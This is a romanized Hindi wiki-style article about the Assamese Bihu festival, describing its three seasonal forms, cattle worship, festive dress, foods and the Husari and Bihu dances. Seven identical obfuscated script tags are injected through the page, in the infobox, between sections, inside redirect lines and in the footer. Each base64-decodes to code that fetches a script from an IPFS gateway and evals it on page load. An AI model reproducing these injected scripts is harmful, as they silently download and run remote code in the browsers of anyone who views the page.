बिहू

bihoo
bihoo nrity|200px|center
anuyayi	hindoo dharmavalambi
uddeshy	asam ke hare–bhare v varsha se tript maidani bhagoan mean vastutah tin bihoo manae jate haian, jo ki tin rrituoan ke pratik haian.
dharmik manyata	hindoo dharm
sanbandhit lekh	maghabihoo, bihoo nrity
any janakari	bihoo varsh mean tin bar manaya jata hai.
adyatan‎	17:54, 14 janavari 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bihoo asam mean manaya jane vala ek parv hai. asam ke sabhi log jati-paanti, ooanch–nich evan sampraday adi ke bhedabhavoan ko bhoolakar b de utsah se bihoo parv ko manate haian. asam ke hare–bhare v varsha se tript maidani bhagoan mean vastutah tin bihoo manae jate haian, jo ki tin rrituoan ke pratik haian. is tyauhar ke manane se hamean apane prachin dharm ki mahanata ke darshan karane ki ek nayi drishti milati hai. yah parv nrity–sangit ke madhyam se manav man, visheshakar yuva, yuvatiyoan ke lie to bahut hi khushi ka parv hota hai. yah parv asam ki prakritik chhata ko to darshata hi hai, sath hi yah bhi sandesh deta hai ki jivan ek kala hai, jo is kala ko janakar jite haian, khushiyaan unake qadam choomati hai.

asam mean manaye jane vale bihoo ke tin roop nimnaankit haian:

1. pratham bihoo: jise 'bohagabihoo ya rangolibihoo' kahate haian; aprail mean chaitr ya baisakh ke sankraman kal mean manaya jata hai. yah asam ka mukhy parv hai.
2. dvitiy bihoo: is din ko 'katibihoo ya kangalibihoo' kahate haian. yah kartik mas (aktoobar) mean hota hai.
3. tritiy bihoo: ise 'maghabihoo' bhi kahate haian tatha yah makar sankranti (14 janavari) ko manaya jata hai.

bohag bihoo

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bohag bihoo ya rangoli bihoo asam ka mukhy parv hai. basant rritu is samay apane charam par hoti hai. khet, pe d-paudhe tatha belean sabhi hare-bhare hote haian. pe doan par naye-naye patte a jate haian aur hava mean phooloan ki mahak bhi tairane lagati hai. poora vatavaran khushaboomay ho jata hai. pakshi prasann hokar chahachahane lagate haian. vatavaran mean charoan or khushahali hi khushahali chha jati hai. tab manushy bhi nachane-gane ko machal uthata hai. yahi vaishakhi ka pavan din hai, jab asamiya navavarsh ka shubharambh ho jata hai. 'bihoo' ko prakriti ka anupam upahar bhi kaha jata hai.

bohag bihoo ke lie kaha gaya hai-

"bohag nohoye matho eti rritu, nahay bohag eti mah.
asamiya jatir i ayush rekha gan jivanor i sah.."

arthath vaishakh keval ek rritu hi nahian, n hi yah ek mas hai, balki yah asamiya jati ki ayurekh aur janagan ka sahas hai. chaitr mas ki sankranti ke din se hi bihoo utsav prarambh ho jata hai. ise 'uroora' kahate haian. is din bhor se hi charavahe lauki, baiangan, haldi, dighalati, makhiyati adi samagri banane mean jut jate haian. sham ko sabhi gayoan ko guhali (goshala) mean lakar baandh dete haian. vishvas kiya jata hai ki uroora ke din gayoan ko khula nahian rakha jata hai. gay ke charavahe ek daliya mean lauki, baiangan adi sajate haian. pratyek gay ke lie ek nayi rassi taiyar ki jati hai. is parv ko aprail mas mean tin din- 13, 14 aur 15 aprail tak manaya jata hai. in tinoan dinoan ko vibhinn namoan se jana jata hai- goroobihoo (ise "uraka" bhi kahate haian), manuhorabihoo evan gamboribihoo.

goroobihoo

yah din goo ke mahatv ka pratik hai. gay sarvapriy pashu hai, isaka doodh bachchoan ke lie pushtikarak hota hai. gay gomata hai. inhean pratah kal hi nadi ya pokharoan mean le jakar snan karaya jata hai. isake bad trishool ke akar ke baans se bane 'chaant' se lauki, baiangan, dighalati adi gau par pheankate haian v usaki pooja-archana karate haian. lok vishvas hai ki trishool ke prayog se sadashiv prasann hote haian. mooang ki dal v haldi ke mishran ko isake siangoan v khuroan par lagaya jata hai. bail, jo ki kisan ke bahut hi kam ate haian, ko bhi is gau–samman ki prakriya mean sammilit kiya jata hai.

baiangal, haldi v lauki ke tuk doan ko pashuoan ki or pheanka jata hai tatha sabhi samavet svar mean 'lau kha, baiangan kha, bachare, bachare barahi ja" kahate haian. pashuoan ka nayi rassiyoan se baandha jata hai tatha bhinn–bhinn patroan ki malaean unhean pahanayi jati haian.

ek anoothe karyakram ke antargat sabhi pashuoan ko bahar b de sthan par ekatrit kiya jata hai tatha purush inhean nagaphali v baiangan khilate haian. lokasangit ki dhunoan ke bich in par pankha bhi jhala jata hai. inake mathe par sindoor lagane ke bad inhean vapas inake sthan par le jaya jata hai. [[chitr:Bihu-Dance.jpg|thumb|left|bihoo nrity, nagaanv]] yadyapi yah sab dharmik mahotsav ke roop mean kiya jata hai. lekin sach yah hai ki yah bharatiy jan–jivan aur kisan ke pashu-prem visheshakar gauvansh ke prati prem ko prakat karata hai. aantatah pashu hi kisan ke sath mean k di mehanat karate haian. taki ham sabako bhojan upalabdh ho sake.

gharoan mean log vishesh prakar ke svadisht vyanjan banate haian. sade chaval ke sthan par kute-bhune chaval ke bhinn-bhinn prakar ke pakavan banae jate haian. sabhi upasthit logoan v bachchoan ko mithaiyaan baanti jati haian.

manuhor bihoo

yah din arthath 14 aprail ka din asam mean navavarsh ke roop mean manaya jata hai. is din ke mahabhoj ko bihoo kaboloee kahate haian.

is din naye vastroan ke sath gamachha bhi pahana jata hai. yah vishesh prakar ka gamachha ek sundar taulie ke roop mean hota hai. jisamean anek akritiyaan bani hoti haian. is gamachhe ko sir ya kamar par baandha jata hai. striyaan mekhali chadar v mooanga resham ke akarshak vastr dharan karati haian. ye paridhan asam ke vishesh paridhan haian.

bihoo manane ko anek dal git gate aur sangit ki dhun par nrity karate hue toliyoan mean nikalate haian. gay jane vale bhaktigitoan ko husari vidhi ke dvara gaya jata hai. is vidhi mean shrikrishna ki prashansa v unake ashirvad ki kamana ki jati hai. s dak v any margoan se hote hue ye dal ek khule sthan mean ekatrit hote haian. is sthan ko 'bihoo toli' kaha jata hai. nrity v sauandary pratiyogitaean sabhi ke man ko prasann karati haian. vijetaoan ke nam samachar-patroan mean ek saptah tak chhapate haian.

ganbori bihoo

yah din striyoan ke lie ek vishesh sthan rakhata hai. purushoan ko is din sammilit nahian kiya jata hai. striyaan rat bhar baragad ke vriksh ke niche layabaddh taliyaan bajakar git gati haian. baragad ka vriksh dharmik roop se atyant hi shubh mana jata hai. yah vishal vriksh dhoop v varsha mean sabhi praniyoan ki raksha karata hai.

kangalibihoo

agala bihoo, jise "kati–bihoo" ya "kangalibihoo" kahate haian, samanyatah aktoobar mean manaya jata hai. asamiya log ashadh—shravan mas mean dhan ki kheti karate haian. ashvin ke ant mean yah dhan pakakar sunahala svaroop le leta hai. prakriti par nirbhar kisan khet ki lakshmi 'upaj' ko sadar ghar par lane ke lie taiyar hota hai aur ashvin-kartik ki sankranti ke din upaj ki mangalakamana se khalihan evan tulasi ke vriksh ke niche dip prajjvalit karake anek niyamoan ka palan karata hai. ise hi "kati bihoo" kahate haian. bihoo ke din kisan ke khalihan khali rahate haian. isilie yah mahabhoj ya ullas ka parv n hokar prarthana v dhyan ka din hota hai. chooanki koee fasal katane ka yah samay nahian hota. isalie kisan ke pas dhan nahian hota, parantu isaka prayog dhyanadi karyakram mean kiya jata hai. isalie ise "kangali–bihoo" bhi kahate haian. yuvak aur yuvatiyaan mitavyay karana bhi is parv ke madhyam se hi sikhate haian. dhan ke khetoan mean maan lakshmi ki pratima par ek mah tak pratyek rat dipak jalaya jata hai. tulasi ke pavitr paudhe ko ghar ke aangan mean lagakar use jal arpit kiya jata hai.

maghabihoo

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

makar sankranti ke din janavari ke madhy mean, maghabihoo manaya jata hai. is avasar par prachur matra mean huee fasal kisan ko anandit karati hai. yah tyauhar ja de mean tab manaya jata hai, jab fasal kat jane ke bad kisanoan ke aram ka samay hota hai. maghabihoo par mukhy roop se bhoj dene ki pratha hai. is karan ise "bhogasi bihoo" athava "bhog–upabhog ka bihoo" bhi kahate haian. striyaan chiv da, chaval ki tikiya, tarah–tarah ke laru (laddoo) tatha karaee arthath tarah–tarah ke bhune hue anaj ka mishran taiyar karati haian. ye sab chizean dopahar ke samay gu d aur dahi ke sath khaee jati haian. mitroan tatha sage sambandhiyoan ko amantrit kar adar diya jata hai.

bihoo aur lok nrity

[[chitr:Bihu-Dance-Assam.jpg|thumb|250px|bihoo nrity, asam]] bihoo do lokanrityoan se ju da hai—pahala "husari nrity" aur doosara "bihoo nrity".

husari nrity

samoohoan mean prarthana git v nrity, keval praudh purushoan ke netritv mean prastut kie jate haian. ek samooh gaanv ke har ghar mean dopahar se pahale pahuanchakar arati, git v nrity karata hai. husari git ullasapoorn kam v dharmik adhik hote haian. ghar ke sadasy samooh ka samman pan ke bi doan, supari, mithaee v dhan se karate haian. ye vastuean ek pital ki padayukt katori mean rakhakar dakshina ke roop mean di jati haian. is prakar se ekatrit dhan gaanv ke samudayik prarthana bhavan (nam ghar), rakharakhav ya samudayik bhoj mean prayog kiya jata hai.

bihoonrity

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

avivahit yuvak-yuvatiyaan, khuli vriksh-vatika ya bagoan mean ek any nrity karate haian, jo ki sangit sahit ratabhar kiya jata hai. yuvatiyaan apani sarvottam veshabhoosha pahanati haian. in vastroan mean lal pushp, mekhala tatha lal b aaurdar tatha blauz hote haian. navayuvak dhoti v kurta pahanate haian tatha kamar aur sir par gamachha baandhate haian.

drut gati se nachate-lubhate, navayuvak-navayuvatiyaan sharir ke vibhinn aangoan ko natakiy v akarshak bhav se pradarshit kar manushy ki sanatan pravritti-prajanan, poshan, jivantata v vikas ko pratibimbat karate haian. yadyapi kalantar mean in mahotsavoan mean kee prakar ke parivartan ae haian, to bhi maulikata v bhav aj bhi jivant haian. brahmaputr ghati ka bihoo mahotsav logoan ko asam ki gauravapoorn parampara ka punarsmaran to karata hi hai, sath hi manushy ki krishi v gramin jivan par nirmit shashvat vyavastha ki katha ko bhi kahata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>